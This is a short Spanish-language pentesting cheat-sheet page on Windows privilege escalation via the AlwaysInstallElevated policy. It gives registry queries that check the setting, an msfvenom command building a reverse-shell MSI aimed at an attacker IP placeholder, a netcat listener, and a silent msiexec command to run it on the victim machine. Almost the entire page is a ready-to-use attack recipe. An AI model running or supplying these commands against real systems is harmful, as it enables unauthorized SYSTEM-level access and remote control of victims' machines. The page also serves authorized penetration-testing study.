> For the complete documentation index, see [llms.txt](https://pentesting.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.mrw0l05zyn.cl/escalamiento-de-privilegios/windows/always-install-elevated.md).

# Always install elevated

Revisar si el valor de ambos `AlwaysInstallElevated` es `1`.

```sh
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

Generación de instalador "MSI" (Microsoft Installer) con reverse shell.

```sh
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP-address> LPORT=<listen-port> -f msi -o reverse-shell.msi
```

Dejer netcat en modo escucha para recibir la reverse shell.

```bash
nc -lvnp <listen-port>
```

Copiar a la máquina victima el instalador generado `reverse-shell.msi` y ejecutarlo de la siguiente forma:

```bash
msiexec /quiet /qn /i reverse-shell.msi
```